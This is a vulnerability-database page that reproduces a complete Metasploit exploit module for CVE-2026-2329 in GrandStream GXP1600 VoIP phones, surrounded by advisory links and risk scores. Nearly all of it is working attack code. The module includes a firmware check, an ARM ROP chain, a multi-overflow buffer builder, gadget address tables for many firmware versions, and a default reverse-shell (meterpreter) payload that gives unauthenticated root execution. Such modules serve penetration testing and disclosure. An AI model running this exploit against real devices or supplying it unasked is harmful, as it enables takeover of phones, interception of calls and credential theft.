Lucene search
K

📄 GrandStream GXP1600 Unauthenticated Remote Code Execution

🗓️ 24 Feb 2026 00:00:00Reported by sfewer-r7Type 
packetstorm
 packetstorm
🔗 packetstorm.news👁 200 Views

Unauthenticated remote code execution on GrandStream GXP1600 series via web API; affects six models below firmware 1.0.7.81.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-2329
18 Feb 202614:08
attackerkb
Circl
CVE-2026-2329
18 Feb 202614:15
circl
CNNVD
Grandstream GXP series 安全漏洞
18 Feb 202600:00
cnnvd
CVE
CVE-2026-2329
18 Feb 202614:08
cve
Cvelist
CVE-2026-2329 Grandstream GXP1600 VoIP Phones - Unauthenticated stack buffer overflow
18 Feb 202614:08
cvelist
Metasploit
GrandStream GXP1600 Unauthenticated Remote Code Execution
24 Feb 202618:57
metasploit
NVD
CVE-2026-2329
18 Feb 202615:18
nvd
OSV
CVE-2026-2329
18 Feb 202615:18
osv
Positive Technologies
PT-2026-20432
18 Feb 202600:00
ptsecurity
Rapid7 Blog
Metasploit Wrap-Up 02/27/2026
27 Feb 202620:25
rapid7blog
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = GreatRanking
    
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'GrandStream GXP1600 Unauthenticated Remote Code Execution',
            'Description' => %q{
              An unauthenticated stack-based buffer overflow vulnerability exists in the HTTP API endpoint
              /cgi-bin/api.values.get. A remote attacker can leverage this vulnerability to achieve unauthenticated remote
              code execution (RCE) with root privileges on a target device. The vulnerability affects all six device models
              in the series: GXP1610, GXP1615, GXP1620, GXP1625, GXP1628, and GXP1630. The vulnerability affects all
              firmware versions below version 1.0.7.81.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'sfewer-r7', # Discovery, Analysis, Exploit
            ],
            'References' => [
              ['CVE', '2026-2329'],
              # Rapid7 advisory for CVE-2026-2329
              ['URL', 'www.rapid7.com/blog/post/ve-cve-2026-2329-critical-unauthenticated-stack-buffer-overflow-in-grandstream-gxp1600-voip-phones-fixed'],
              # Vendor advisory for CVE-2026-2329 (GSVUL-2026-001)
              ['URL', 'https://psirt.grandstream.com/'],
              # Vendor release notes (PDF) for the fixed firmware version 1.0.7.81.
              ['URL', 'https://firmware.grandstream.com/Release_Note_GXP16xx_1.0.7.81.pdf']
            ],
            'DisclosureDate' => '2026-02-18',
            'Platform' => %w[linux unix],
            'Arch' => ARCH_CMD,
            'Privileged' => true, # /app/bin/gs_web runs as root
            'Targets' => [
              [ 'Automatic', {} ],
            ],
            'DefaultTarget' => 0,
            # NOTE: Tested with the following payloads:
            #   cmd/linux/http/armle/meterpreter_reverse_tcp
            #   cmd/unix/reverse_netcat
            'DefaultOptions' => {
              'PAYLOAD' => 'cmd/linux/http/armle/meterpreter_reverse_tcp',
              'RPORT' => 80,
              'SSL' => false,
              # A writable directory on the target for fetch based payloads to write to.
              'FETCH_WRITABLE_DIR' => '/tmp',
              # Delete the fetch binary after execution.
              'FETCH_DELETE' => true
            },
            'Payload' => {
              'BadChars' => ':',
              'Encoder' => 'cmd/base64'
            },
            'Notes' => {
              'Stability' => [CRASH_SERVICE_RESTARTS],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS],
              'RelatedModules' => [
                'post/linux/gather/grandstream_gxp1600_creds',
                'post/linux/capture/grandstream_gxp1600_sip'
              ]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'The base path to web admin', '/']),
          ]
        )
      end
    
      def check
        version_id = '68'
        model_id = 'phone_model'
    
        server_res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api.values.get'),
          'vars_post' => {
            'request' => "#{version_id}:#{model_id}"
          }
        )
    
        return CheckCode::Unknown('Connection failed') unless server_res
    
        return CheckCode::Unknown("Unexpected response code #{server_res.code}") unless server_res.code == 200
    
        json_data = server_res.get_json_document
    
        version_str = json_data.dig('body', version_id)
    
        model_str = json_data.dig('body', model_id)
    
        return CheckCode::Unknown('Failed to get the version or model info') if version_str.blank? || model_str.blank?
    
        # These 6 models all share the same firmware for the GXP1600 range.
        affected_models = %w[GXP1610 GXP1615 GXP1620 GXP1625 GXP1628 GXP1630]
    
        if affected_models.include? model_str
          version = Rex::Version.new(version_str)
    
          # Teh vulnerability was patched in firmware version 1.0.7.81, released January 30, 2026.
          if version < Rex::Version.new('1.0.7.81')
            return Exploit::CheckCode::Appears("GrandStream #{model_str} version #{version_str}")
          end
        end
    
        Exploit::CheckCode::Safe("GrandStream #{model_str} version #{version_str}")
      end
    
      def exploit
        version_id = '68'
    
        server_res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api.values.get'),
          'vars_post' => {
            'request' => version_id
          }
        )
    
        fail_with(Failure::UnexpectedReply, 'Failed to get version number') unless server_res&.code == 200
    
        json_data = server_res.get_json_document
    
        version_str = json_data.dig('body', version_id)
    
        rop_table = get_rop_table(version_str)
    
        fail_with(Failure::BadConfig, "No ROP table available for version #{version_str}") unless rop_table
    
        vprint_status("ROP Table: #{rop_table}")
    
        unless rop_table[:gadget3_call_exit]
          print_warning('No ROP gadget available to call exit(). The payload will work, but will crash and core dump the target gs_web process.')
        end
    
        pointer_size = 4
    
        rop = [
          :rand4, # padding
          # The vulnerable function returns via this function epilogue: POP {R4-R11,PC}
          # So we initially get control of registers r4 - r11, and then execute gadget1_blx_pop via the overwritten PC.
          rop_table[:address_data_section], # r4 -> .data segment
          :rand4, # r5
          :rand4, # r6
          :rand4, # r7
          :rand4, # r8
          :rand4, # r9
          :rand4, # r10
          :rand4, # r11
          rop_table[:gadget1_blx_pop] + pointer_size, # pc -> pop {r3, pc}
          :patch_offset2cmd, # r3 -> r0 + r3 == "/bin/sh ..."
          rop_table[:gadget2_add_str_add_str_pop], # pc -> add r0, r3, r0; str r7, [r4, #8]; add r6, r0, r6; str r6, [r4, #4]; pop {r4, r5, r6, r7, r8, pc};
          :rand4, # r4
          :rand4, # r5
          :rand4, # r6
          :rand4, # r7
          :rand4, # r8
          rop_table[:gadget1_blx_pop] + pointer_size, # pc -> pop {r3, pc}
          rop_table[:address_system_plt], # r3 -> system@plt
          rop_table[:gadget1_blx_pop], # pc -> blx r3; pop {r3, pc}
          :rand4, # r3
          rop_table[:gadget3_call_exit] || :rand4highnull # pc -> mov r0, 1; bl 0xbcd0 <exit@plt>
        ]
    
        overflow_buffer = Rex::Text.rand_text_alpha(64)
    
        rop.map! do |item|
          if item == :patch_offset2cmd
            # When the vulnerable function returns, r0 will point into the stack, 28 bytes before the start of our overflow
            # buffer. We use a gadget (gadget2_add_str_add_str_pop) to add r0 to an offset (held in r3), after this gadget
            # executes, r3 will point to the OS command we want to execute, which is located on the stack directly after
            # our ROP chain. The below offset is the value placed in r3 for this calculation.
            item = 28 + overflow_buffer.length + (rop.length * pointer_size)
          elsif item == :rand4
            item = Rex::Text.rand_text_hex(pointer_size).unpack('V').first
          elsif item == :rand4highnull
            item = Rex::Text.rand_text_hex(pointer_size).unpack('V').first & 0x00FFFFFF
          end
          item
        end
    
        vprint_status("Encoded ARCH_CMD Payload: #{payload.encoded}")
    
        request_buffer = gen_buffer(
          rop.pack('V*') << payload.encoded,
          overflow_buffer
        )
    
        register_file_for_cleanup('/tmp/core.gz')
    
        register_dir_for_cleanup('/core')
    
        send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api.values.get'),
          'vars_post' => {
            'request' => request_buffer
          }
        )
      end
    
      # The vulnerability only allows for a single null terminator byte to be written during the overflow. To overcome this
      # limitation, we can rely on the fact that the vulnerable function will process the attacker-controlled request
      # parameter as a colon-delimited string of multiple identifiers. Every time a colon is encountered, the overflow can
      # be triggered a subsequent time via the next identifier. We can leverage this, and the ability to write a single null
      # byte as the last character in the current identifier being processed, to write multiple null bytes during exploitation.
      #
      # For example, if we wanted to write a sequence of bytes with 5 null characters in it, e.g.
      # "EEE0DDDDDDD0CCCCCCCC00AAAAAAAAAAA0" (where 0 is a null byte)
      # we can trigger the overflow 5 times by structuring the input as follows:
      # "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE"
      # When the vulnerable function process this colon deliminated input, it will trigger the overflow 5 times, and each
      # time it will write a null byte at the end of the current identifier being processed. The final memory layout will
      # be the expected attacker controller byte sequence. Note, the lengths used in this example are contrived for brevity,
      # as the actual vulnerable function requires a 64 byte buffer to be overflowed for each invocation of the vulnerability.
      #
      # The gen_buffer method will take care of restructuring the input in the above described manner.
      def gen_buffer(input, line_padding = '')
        input << "\x00" unless input[input.length - 1] == "\x00"
    
        len = input.length
    
        lines = []
    
        input.reverse.each_byte do |chr|
          line = '1' * (len - 1)
    
          if chr.zero?
            line << ':'
          else
            line << [chr].pack('C')
          end
    
          len -= 1
    
          lines << line
        end
    
        res = []
    
        lines.each do |line|
          if line.end_with? ':'
            res << (line_padding + line)
          else
            res.last[line_padding.length + line.length - 1] = line[line.length - 1]
          end
        end
    
        res.join
      end
    
      def get_rop_table(version_str)
        rop_tables = {
          '1.0.7.80' =>
            {
              address_system_plt: 0x0000b868,
              address_data_section: 0x000224c8,
              gadget2_add_str_add_str_pop: 0x0000f110,
              gadget1_blx_pop: 0x0000c230,
              gadget3_call_exit: 0x0000ffc0
            },
          '1.0.7.79' =>
            {
              address_system_plt: 0x0000b73c,
              address_data_section: 0x00022490,
              gadget2_add_str_add_str_pop: 0x0000ef64,
              gadget1_blx_pop: 0x0000c0ec,
              gadget3_call_exit: 0x0000fe14
            },
          '1.0.7.74' =>
            {
              address_system_plt: 0x0000b73c,
              address_data_section: 0x00022490,
              gadget2_add_str_add_str_pop: 0x0000ef64,
              gadget1_blx_pop: 0x0000c0ec,
              gadget3_call_exit: 0x0000fe14
            },
          '1.0.7.70' => {
            address_system_plt: 0x0000b73c,
            address_data_section: 0x00022490,
            gadget2_add_str_add_str_pop: 0x0000ef64,
            gadget1_blx_pop: 0x0000c0ec,
            gadget3_call_exit: 0x0000fe14
          },
          '1.0.7.67' => {
            address_system_plt: 0x0000b6c4,
            address_data_section: 0x00021e6c,
            gadget2_add_str_add_str_pop: 0x0000ed7c,
            gadget1_blx_pop: 0x0000c05c,
            gadget3_call_exit: 0x0000fc2c
          },
          '1.0.7.64' => {
            address_system_plt: 0x0000b6c4,
            address_data_section: 0x00021e2c,
            gadget2_add_str_add_str_pop: 0x0000ed38,
            gadget1_blx_pop: 0x0000c05c,
            gadget3_call_exit: 0x0000fbe8
          },
          '1.0.7.56' => {
            address_system_plt: 0x0000bd78,
            address_data_section: 0x00022474,
            gadget2_add_str_add_str_pop: 0x000140ec,
            gadget1_blx_pop: 0x0000c6bc,
            gadget3_call_exit: nil
          },
          '1.0.7.50' => {
            address_system_plt: 0x0000bd78,
            address_data_section: 0x00022474,
            gadget2_add_str_add_str_pop: 0x000140ec,
            gadget1_blx_pop: 0x0000c6bc,
            gadget3_call_exit: nil
          },
          '1.0.7.49' => {
            address_system_plt: 0x0000bd78,
            address_data_section: 0x00022474,
            gadget2_add_str_add_str_pop: 0x000140ec,
            gadget1_blx_pop: 0x0000c6bc,
            gadget3_call_exit: nil
          },
          '1.0.7.33' => {
            address_system_plt: 0x0000bd10,
            address_data_section: 0x00021e0c,
            gadget2_add_str_add_str_pop: 0x00013ed4,
            gadget1_blx_pop: 0x0000c63c,
            gadget3_call_exit: nil
          },
          '1.0.7.27' => {
            address_system_plt: 0x0000bd10,
            address_data_section: 0x00021e0c,
            gadget2_add_str_add_str_pop: 0x00013ed4,
            gadget1_blx_pop: 0x0000c63c,
            gadget3_call_exit: nil
          },
          '1.0.7.24' => {
            address_system_plt: 0x0000c40c,
            address_data_section: 0x00021948,
            gadget2_add_str_add_str_pop: 0x00013b2c,
            gadget1_blx_pop: 0x0000c600,
            gadget3_call_exit: nil
          },
          '1.0.7.18' => {
            address_system_plt: 0x0000c40c,
            address_data_section: 0x00021470,
            gadget2_add_str_add_str_pop: 0x00013aec,
            gadget1_blx_pop: 0x0000c5f0,
            gadget3_call_exit: nil
          },
          '1.0.7.13' => {
            address_system_plt: 0x0000c40c,
            address_data_section: 0x0002145c,
            gadget2_add_str_add_str_pop: 0x00013adc,
            gadget1_blx_pop: 0x0000c5f0,
            gadget3_call_exit: nil
          },
          '1.0.7.6' => {
            address_system_plt: 0x0000c40c,
            address_data_section: 0x0002145c,
            gadget2_add_str_add_str_pop: 0x00013adc,
            gadget1_blx_pop: 0x0000c5f0,
            gadget3_call_exit: nil
          },
          '1.0.7.3' => {
            address_system_plt: 0x0000c40c,
            address_data_section: 0x0002145c,
            gadget2_add_str_add_str_pop: 0x00013adc,
            gadget1_blx_pop: 0x0000c5f0,
            gadget3_call_exit: nil
          },
          '1.0.5.3' => {
            address_system_plt: 0x0000c40c,
            address_data_section: 0x0002145c,
            gadget2_add_str_add_str_pop: 0x00013adc,
            gadget1_blx_pop: 0x0000c5f0,
            gadget3_call_exit: nil
          },
          '1.0.4.152' => {
            address_system_plt: 0x0000c40c,
            address_data_section: 0x0002145c,
            gadget2_add_str_add_str_pop: 0x00013adc,
            gadget1_blx_pop: 0x0000c5f0,
            gadget3_call_exit: nil
          },
          '1.0.4.140' => {
            address_system_plt: 0x0000c358,
            address_data_section: 0x00021454,
            gadget2_add_str_add_str_pop: 0x000137e8,
            gadget1_blx_pop: 0x0000c53c,
            gadget3_call_exit: nil
          },
          '1.0.4.132' => {
            address_system_plt: 0x0000c358,
            address_data_section: 0x00020c2c,
            gadget2_add_str_add_str_pop: 0x00013558,
            gadget1_blx_pop: 0x0000c53c,
            gadget3_call_exit: nil
          },
          '1.0.4.128' => { # Released August 3, 2018.
            address_system_plt: 0x0000c17c,
            address_data_section: 0x0001e9c4,
            gadget2_add_str_add_str_pop: 0x00011cc8,
            gadget1_blx_pop: 0x0000c360,
            gadget3_call_exit: nil
          }
        }
    
        rop_tables[version_str]
      end
    
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Feb 2026 00:00Current
7High risk
Vulners AI Score7
CVSS 3.19.8
CVSS 49.3
EPSS0.40014
SSVC
200